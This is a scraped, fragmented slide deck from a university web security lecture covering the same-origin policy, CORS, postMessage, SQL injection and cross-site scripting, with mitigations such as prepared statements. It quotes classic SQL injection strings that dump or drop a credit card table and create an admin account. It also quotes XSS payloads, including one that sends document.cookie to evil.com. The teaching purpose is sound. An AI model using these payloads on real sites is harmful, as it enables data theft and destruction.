CSE484/CSE584
BASIC WEB SECURITY MODEL
- Dr. Benjamin Livshits
CSE484/CSE584 BASIC WEB SECURITY MODEL Dr. Benjamin Livshits Is - - PowerPoint PPT Presentation
CSE484/CSE584 BASIC WEB SECURITY MODEL Dr. Benjamin Livshits Is Isolation Frame and IFRAME Window may contain frames from different sources Frame: rigid division as part of frameset iFrame: flo floati ting inline frame iFrame
Window may contain frames from different sources Frame: rigid division as part of frameset iFrame: flo
floati ting inline frame
iFrame example Why use frames? Delegate screen area to content from another source Browser provides isolation based on frames Parent may work even if frame is broken
<iframe src="hello.html" width=450 height=100> If you can see this, your browser doesn't understand IFRAME. </iframe>
4
5
6
Primitives
System calls Processes Disk
Principals: Users Low-level vulnerabilities
Buffer overflow Other memory issues
Primitives
Document object model (DOM) Frames Cookies / localStorage
Principals: “Origins” Application-level vulnerabilities
Cross-site scripting Cross-site request forgery SQL injection etc.
Two independent
…or frames …or browser instances Interesting
8
9
Each frame of a page has an origin Origin = <pr
protocol://host:port>
Frame can access its own origin Network access, Read/write DOM, Storage (cookies) Frame cannot access data associated with a different origin
A A B B A
11 11
With no additional qualifiers, the term "same-origin policy" most commonly refers to a mechanism that governs the ability for JavaScript and other scripting languages to access DOM properties and methods across domains (reference). In essence, the model boils down to this three-step decision process 1) If protocol, host name, port number for two interacting pages match, access is granted with no further checks 2) Any page may set document.domain parameter to a right-hand, fully-qualified fragment of its current host name (e.g., foo.bar.example.com may set it to example.com, but not apple.com). If two pages explicitly and mutually set their respective document.domain parameters to the same value, and the remaining same-
3) If neither of the above conditions is satisfied, access is denied. 12 12
Origin: <scheme, host, (port), hasSetDomain> Try document.domain = document.domain
www.facebook.com www.facebook.com
www.facebook.com chat.facebook.com
chat.facebook.com
facebook.com facebook.com
14 14
https://code.google.com/p/browsersec/wiki/Part2
www.example.com: <script src=“http://ajax.aspnetcdn.c
.0/jquery.validate.min.js”> </script>
page, NOT source server.
Why is this a good idea? Why is this a bad idea?
16 16
Same-origin policy for DOM access Same-origin policy for XMLHttpRequest Same-origin policy for cookies Same-origin policy for Flash Same-origin policy for Java Same-origin policy for Silverlight Same-origin policy for Gears Origin inheritance rules
Access-Control-Allow-Origin: <list of domains> Access-Control-Allow-Origin: *
Site B Site A
Site A context Site B context
For example, suppose web
content on domain http://foo.example.com wishes to invoke content
http://bar.other.com
Code of this sort might be
used within JavaScript deployed on http://foo.example.com
19 19
20 20
Firefox headers sent out as part
the resource can be accessed by any domain in a cross-site manner
21 21
Allows to pre-flight cross- domain requests to see if they are allowed Which methods are supported by the domain
23 23
Client-side communication between principals
Add a contact Share contacts
frames[0].postMessage("Attack at dawn!", "http://b.com/"); window.addEventListener("message", function (e) { if (e.origin == "http://a.com") { ... e.data ... } }, false);
Attack at dawn!
What goes wrong?
frames[0].postMessage("Attack at dawn!");
Messages sent to frames, not principals
When would this happen?
25
Http Rendering content Cookies Isolation Communication Navigation Security User Interface Frames and frame busting
Source: http://xkcd.com/327/
27 27
28 28
HTTP REQUEST HTTP RESPONSE client server
Format
Generally, better, more
restrictive APIs are enough
Simple static tools help SQL in
Generally, better, more
restrictive APIs are enough
Simple static tools help
29 29
Buffer overruns
Stack-based Return-to-libc, etc. Heap-based Heap spraying attacks Requires careful
programming or memory-safe languages
Cross-site scrip
XSS-0, -1, -2, -3 Requires careful
Attacks a particular sit
Affect applications that use untrusted input as part
Specific case of a more general problem: using
30 30
Consider a browser form, e.g.: When the user enters a number and clicks the button, this
generates an http request like https://www.pizza.com/show_orders?month=10
31 31
Upon receiving the request, a Java program might
A normal query would look like:
sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND order_month= " + request.getParameter("month"); SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10
32 32
What if the user makes a modified http request:
https://www.pizza.com/show_orders?month=0%20OR%201%3D1
(Parameters transferred in URL-encoded form,
This has the effect of setting
request.getParameter(“month”)
0 OR 1=1
33 33
So the script generates the following SQL query: Since AND takes precedence over OR, the above
The attacker gets every entry in the database! SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=1
34 34
Craft an http request that generates an SQL query
Attacker gets the entire credit card database as
SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=0 UNION SELECT cardholder, number, exp_date FROM creditcards
35 35
SQL queries can encode multiple commands,
Craft an http request that generates an SQL query
Credit card table deleted!
DoS attack SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 ; DROP TABLE creditcards
36 36
Craft an http request that generates an SQL query
User (with chosen password) entered as an
Database owned! SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 ; INSERT INTO admin VALUES (‘hacker’, ...)
37 37
Consider the following script for text queries: Previous attacks will not work directly, since the
But easy to deal with this…
sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND topping= ‘ " + request.getParameter(“topping") + “’”
38 38
Craft an http request where
request.getParameter(“topping”)
abc’; DROP TABLE creditcards; --
The effect is to generate the SQL query: (‘--’ represents an SQL comment)
SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND toppings=‘abc’; DROP TABLE creditcards ; --’
39 39
Blacklisting Whitelisting Encoding routines Prepared statements/bind variables Mitigate the impact of SQL injection
40 40
I.e., searching for/preventing ‘bad’ inputs E.g., for previous example: …where kill_chars() deletes, e.g., quotes and
sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND topping= ‘ " + kill_chars(request.getParameter(“topping")) + “’”
41 41
How do you know if/when you’ve eliminated all
If you miss one, could allow successful attack
Does not prevent first set of attacks (numeric values)
Although similar approach could be used, starts to get
complex!
May conflict with functionality of the database
E.g., user with name O’Brien
42 42
Check that user-provided input is in some set of
E.g., check that month is an integer in the right range
If invalid input detected, better to reject it than to
Fixes may introduce vulnerabilities Principle of fail-safe defaults
43 43
Prepared statements: static queries with bind
Variables not involved in query parsing
Bind variables: placeholders guaranteed to be data
44 44
PreparedStatement ps = db.prepareStatement( "SELECT pizza, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt(request.getParameter("month"))); ResultSet res = ps.executeQuery();
45 45
46 46
Practical SQ
Teaches you how to reconstruct entire databases
Overall, SQL injection is easy to fix by banning
Prevent queryExecute-type calls with non-constant
Very easy to automate See a tool like LAPSE that does it for Java
CardSystems was a major credit card processing
Put out of business by a SQL injection attack
Credit card numbers stored unencrypted Data on 263,000 accounts stolen 43 million identities exposed
XSS-0: client-side XSS-1: reflective XSS-2: persistent
48 48
49 49
3
Controls malicious website (attacker.com)
Can even obtain SSL/TLS certificate for his site
User visits attacker.com – why?
Phishing email Enticing content Search results Placed by ad network Blind luck …
Attacker has no other access to user machine!
51 51
If the application is not careful to encode its output
name:
<script>…; xhr.send(document.cookie);</script>
52 52
http://example.com/test.php?color=red&background=pink.
53 53
http://example.com/test.php?color=green&background= </style><script>document.write(String.fromCharCode(88,83,83))</script>
54 54
55 55
56 56
57 57
1)
Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website
2)
Injected code redirected PayPal visitors to a page warning users their accounts had been compromised
3)
Victims were then redirected to a phishing site and prompted to enter sensitive financial data
Source: http://www.acunetix.cz/news/paypal.htm
59 59
Cookie theft: most common http://host/a.php?variable="><script>document
.location='http://www.evil.com/cgi- bin/cookie.cgi? '%20+document.cookie</script>
But also
Setting cookies Injecting code into running application Injecting a key logger etc.
60 60
Simple ones
Compare IP address and cookie Cookie HttpOnly attribute
There’s much more to be covered later